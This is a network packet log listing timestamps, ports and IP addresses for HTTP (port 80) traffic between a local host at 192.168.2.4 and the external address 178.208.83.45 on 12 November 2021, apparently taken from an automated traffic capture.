Nov 12, 2021 22:24:31.404809952 CET	50184	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.405376911 CET	50184	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.428159952 CET	80	50184	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.431638956 CET	80	50184	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.432415962 CET	50184	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.536350012 CET	50184	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.537744045 CET	50185	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.558824062 CET	80	50184	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.559003115 CET	50184	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.560060978 CET	80	50185	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.561081886 CET	50185	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.561638117 CET	50185	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.583960056 CET	80	50185	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.584351063 CET	80	50185	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.584368944 CET	80	50185	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.584501982 CET	50185	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.692326069 CET	50185	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.693499088 CET	50186	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.714924097 CET	80	50185	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.715632915 CET	50185	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.715806961 CET	80	50186	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.715902090 CET	50186	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.716537952 CET	50186	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.738871098 CET	80	50186	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.980784893 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.004410028 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.008618116 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.009289980 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.009524107 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.009768009 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.009882927 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.031748056 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.031784058 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.032238007 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.032263994 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.032286882 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.032310963 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.032366991 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.032419920 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.032428026 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.032450914 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.032459974 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.032468081 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.032474041 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.032562017 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.032584906 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.033642054 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.054945946 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.054976940 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.055003881 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.055031061 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.055058956 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.055084944 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.055111885 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.055139065 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.055164099 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.055191994 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.055291891 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.055377007 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.055412054 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.056022882 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.056051016 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.056080103 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.056107044 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.056160927 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.056185961 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.056201935 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.056241035 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.056267977 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.056298018 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.056323051 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.056349993 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.056366920 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.056395054 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.056415081 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.056426048 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.078357935 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078396082 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078423023 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078455925 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078485012 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078511000 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078537941 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078563929 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078588963 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078617096 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078643084 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078666925 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078670025 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.078694105 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078721046 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078732967 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.078747034 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078759909 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:32.078775883 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078800917 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078830004 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078918934 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078947067 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078970909 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.078996897 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079024076 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079049110 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079076052 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079186916 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079211950 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079238892 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079269886 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079303980 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079333067 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079359055 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079432964 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079458952 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079485893 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079555035 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079627037 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.079652071 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.101248980 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.101392984 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.101422071 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.101624012 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.101746082 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.101807117 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.101938009 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.101967096 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.102099895 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.102125883 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.102153063 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.102179050 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:32.102202892 CET	80	50187	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:35.724128008 CET	50187	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:35.724198103 CET	50186	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:35.840074062 CET	50188	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:35.862740040 CET	80	50188	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:35.862862110 CET	50188	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:35.863840103 CET	50188	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:35.888430119 CET	80	50188	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.223457098 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.249008894 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.249160051 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.249696016 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.249784946 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.249995947 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.250128031 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.272042990 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.272068977 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.272233963 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.272249937 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.272340059 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.272371054 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.272387981 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.272396088 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.272420883 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.272433996 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.272437096 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.272452116 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.272458076 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.272470951 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.272490025 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.272504091 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.272511959 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.272528887 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.272589922 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.295111895 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295140982 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295156956 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295228958 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.295265913 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.295284986 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295305014 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295320988 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295339108 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295344114 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.295356035 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295373917 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295393944 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295393944 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.295412064 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295429945 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295435905 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.295448065 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295454025 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.295465946 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295484066 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295496941 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.295501947 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295525074 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295536041 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.295543909 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.295572042 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.295608997 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.295893908 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.296008110 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.317939043 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.317962885 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.317970991 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.317980051 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.317992926 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318003893 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318080902 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318094015 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318100929 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318114042 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318125963 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318139076 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318150997 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318156958 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.318188906 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318203926 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318232059 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:36.318717957 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318732977 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318789959 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318802118 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318810940 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318824053 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318836927 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318850040 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318862915 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318872929 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318918943 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318924904 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318938971 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318948030 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318959951 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318969011 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318981886 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.318991899 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.319005013 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.319013119 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.319025993 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.319037914 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.319849014 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341381073 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341403008 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341412067 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341419935 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341430902 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341439009 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341451883 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341465950 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341475964 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341489077 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341922045 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341933966 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.341943026 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:36.342035055 CET	80	50189	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:39.880079031 CET	50189	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:39.880146980 CET	50188	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:39.997036934 CET	50195	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.019824982 CET	80	50195	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.020011902 CET	50195	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.021142006 CET	50195	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.043644905 CET	80	50195	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.554414034 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.576759100 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.576910973 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.577797890 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.578102112 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.578550100 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.578799009 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.600748062 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.600903988 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.601397038 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.601497889 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.601525068 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.601540089 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.601543903 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.601567984 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.601589918 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.601605892 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.601612091 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.601632118 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.601636887 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.601646900 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.601663113 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.601665974 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.601696014 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.601754904 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.625433922 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625453949 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625463009 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625518084 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625559092 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.625611067 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.625644922 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625658035 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625665903 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625672102 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625679016 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625686884 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625699043 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625747919 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.625766993 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625780106 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625788927 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625798941 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625873089 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.625919104 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.625931978 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625937939 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.625945091 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625953913 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.625966072 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.626012087 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.626076937 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.647893906 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.647948980 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.647974014 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.647998095 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648021936 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648046017 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648050070 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.648071051 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648093939 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.648097992 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648109913 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.648123980 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648125887 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.648149014 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648149967 CET	50199	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:40.648288012 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648313046 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648336887 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648360968 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648386002 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648411989 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648435116 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648459911 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648483038 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648504972 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648529053 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648551941 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648576021 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648601055 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648623943 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648648024 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648680925 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648704052 CET	80	50199	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:40.648727894 CET	80	50199	178.208.83.45	192.168.2.4
